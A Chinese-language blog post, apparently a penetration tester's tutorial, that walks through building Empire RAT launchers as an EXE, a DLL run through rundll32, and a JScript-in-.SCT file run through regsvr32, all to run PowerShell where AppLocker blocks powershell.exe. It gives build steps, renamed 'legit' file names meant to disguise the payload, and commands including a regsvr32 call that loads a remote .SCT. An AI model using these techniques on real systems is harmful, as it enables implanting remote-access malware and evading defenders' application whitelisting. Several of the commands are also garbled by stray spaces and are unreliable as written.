无 PowerShell.exe 执行 Empire 的几种姿势

在实战中,Empire成为域渗透、后渗透阶段一大利器,而Empire是一个Powershell RAT,所以PowerShell必须要能运行Empire中几乎所有的启动方法都依赖于使用PowerShell.exe的功能。但是如果在无法调用powershell.exe环境下(客户端已经使用AppLocker阻止了Powershell.exe运行)利用empire就需要一些技巧和方法了。

 


 

 

 

powershell.exe进程只是为System.Management.Automation.dll的实现提供了一个DLL Host。而它的核心,实际上就是System.Management.Automation.dll,这也是PowerShell的真实身份。此外,还有其他本地Windows进程同样也作为PowerShellHost,比如powershell_ise.exe

 

 


 

然而,我们也可以创建自己的进程来为System.Management.Automation.dll提供Host。目前已经有一些开源项目实现了这一点,例如

UnmanagedPowerShell,(https://github.com/leechristensen/UnmanagedPowerShell)、SharpPick(https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick/SharpPick)、PSAttack(https://github.com/jaredhaight/PSAttack)以及nps(https://github.com/Ben0xA/nps)。

 

 

 

当然,使用PowerShell的优势之一在于,PowerShell.exe是经过微软签名的二进制文件,会被应用程序加入白名单,方便我们的使用。而自己创建的进程则不会被应用程序所信任,但是通过这样的方式,可以在powershell.exe被禁用的情况下执行PowerShell

 

 

环境: kali linux 192.168.190.141(攻击机)

     Windows 8 192.168.190.149 (靶机)

 

 

0x01 构建Empire.exe

 

 

用到的工具SharpPick (https://github.com/PowerShellEmpire/PowerTools)

 Visual Studio打开下载好的PowerPick项目,不过我用的是vs2012,2010/2012的好处在于,它带有越来越难找到的旧的.NET库。

 

 

首先,你需要混淆一些项目属性。改变程序和程序集信息的名称。可以通过菜单“项目-SharpPick 属性”来做到。确保修改“输出类型”为“Windows应用程序”,以便当你双击运行或者从CLI执行后,它能在后台运行。

 

 

点击“程序集信息”按钮,并修改属性。

 

 

 

现在你还要将Program.cs中的代码修改如下

 

 

 

 

字符串“stager”只包含base64编码的Empire启动器的信息。比如我把empire生成powershellbase64作为递给RunPS()函数的参数(base64解码后),该函数将PowerShell命令发送给System.Management.Automation,这里是PowerShell的魅力所在。将直接进入Windows核心。

 

 

 

 

 

现在在菜单中选择“生成-生成解决方案”或者点击“F6”。生成的二进制文件位于

PowerPick\bin\x86\Debug

 

 

 

你可能会遇到关于ReflectivePick不能生成的错误。你能选择菜单“生成-配置管理器”,并从“项目上下文”中去除“ReflectivePick”。因为我们不需要它。

 

 

双击可执行文件来测试下二进制文件,或者在CLI中运行测试。在你启动或执行后它应该是运行于后台的。

 

 

 

 

 

 

 

0x02 构建Empire.dll

https://github.com/johnjohnsp1/AllTheThings

 

 

就像EXE一样,打开项目并改变这些属性。在项目属性中需要更改的其他重要事项是“输出类型”,它需要更改为 “类库”。你也应该将“启动对象”设置为下拉菜单中的默认值(基于你的命名空间和类名称)。

 

 

 

 

接下来,安装Visual Studio的nuget包管理器。一旦安装完成,你需要通过运行以下命令来获取依赖关系“UnmanagedExports”:

 

 

接下来,打开“Program.cs”,并更改你的代码看起来像下面这样,除了几个“using”语句未显示,但大部分都包含在gist中:

 

如果出现这样的显示引用错误的情况,我们需要在项目里自己添加引用

 

 

 

 

再次去“构建 – >构建解决方案”或点击“F6”,你应该在你的构建目录中会生成一个LegitLibrary.dll(和上面一样)。

通过运行以下步骤来测试新的DLL

rundll32.exe LegitLibrary.dll,EntryPoint

这应该会返回一个新的代理到你的EmpireC2。如果你查看Process Explorer,你将看到rundll32作为一个新的进程运行。

 

 

0x03构建Empire.sct

这种方式可能是最复杂的,因为它涉及到一些比较繁琐的步骤。最终结果基本上是这样的:将PowerShell转换成.NET应用程序,将该.NET应用程序转换为一个javascript文件中的base64编码的二进制文件,然后将其填充到.SCT中。你可以使用regsvr32调用该脚本,该脚本可以执行在你的Web /文件服务器上存放的.SCT的JavaScript代码。

我们的目标是Empire.exe有效载荷,但是要转换为base64。项目选项应该与你为Empire.exe所做的相同,换句话说就是“Windows应用程序”。代码有点不一样,因为JavaScript需要一些公共方法来实现和执行我们的代码。

 

 

 

 

 

 

解决方法:

需要添加引用NDesk.Options

下载地址:

http://www.ndesk.org/Options

解压缩,工程-添加引用-浏览-NDesk.Options.dll

重新编译

构建后,去目录找到你生成的二进制,它应该是一个exe。

接下来,去下载DotNetToJScript  并在Visual Studio中打开该项目,将其.NET目标更改为“.NET 3.5”(或2.0)项目选项并编译(构建)它。一旦构建,找到DotNetToJScript.exe和它的配套NDesk.Options.dll,并将它们放在与LegitScript.exe二进制文件相同的位置。

运行以下命令(-c是入口点,更改为你选择的namespace.class):

. DotNetToJScript.exe -c = LegitScript.Program -o = legitscript.js legalscript.exe

这应该会输出一个legalscript.js。DotNetToJScript输出有其他几种语言,包括用于嵌入Office文档的VBA和VBScript,或者你可能需要的其他东西。

你可以通过运行以下步骤进行下一步的测试:

wscript.exe legalscript.js

执行后应该会在后台启动一个新的代理工作站。它将作为进程监视器中的“wscript”运行。

如果你已经确认这正常的工作了,那么现在是把它包装成一个.sct,所以我们可以用regsvr32.exe来调用它。

legalscript.js的全部内容放入CDATA标签。你可以使用以下方式获取Empire中的XML格式:

Empire:usestager windows / launcher_sct

设置无关紧要,但你可以将其设置为监听器,并确保“OutFile”设置为null或“”空值,因为这将打印内容并进行屏幕显示。如果你从Empire获取内容,请从CDATA标签中删除所有内容,并将其替换为legalscript.js。

 

保存为2legit.sct并进行测试:

regsvr32 / s / n / u /i:2legit.sct scrobj.dll

这会再次返回一个新的代理。你可以将该.sct保存到你的网络或文件服务器,并用“/i:https ://example.com/2legit.sct””远程替换“/i:” 。这是一个AppLocker绕过方式,因为regsvr32.exe是Microsoft签名的二进制文件。

 

 

 

 

 

 

posted @ 2019-03-29 13:33  卿先生  阅读(1274)  评论(0编辑  收藏  举报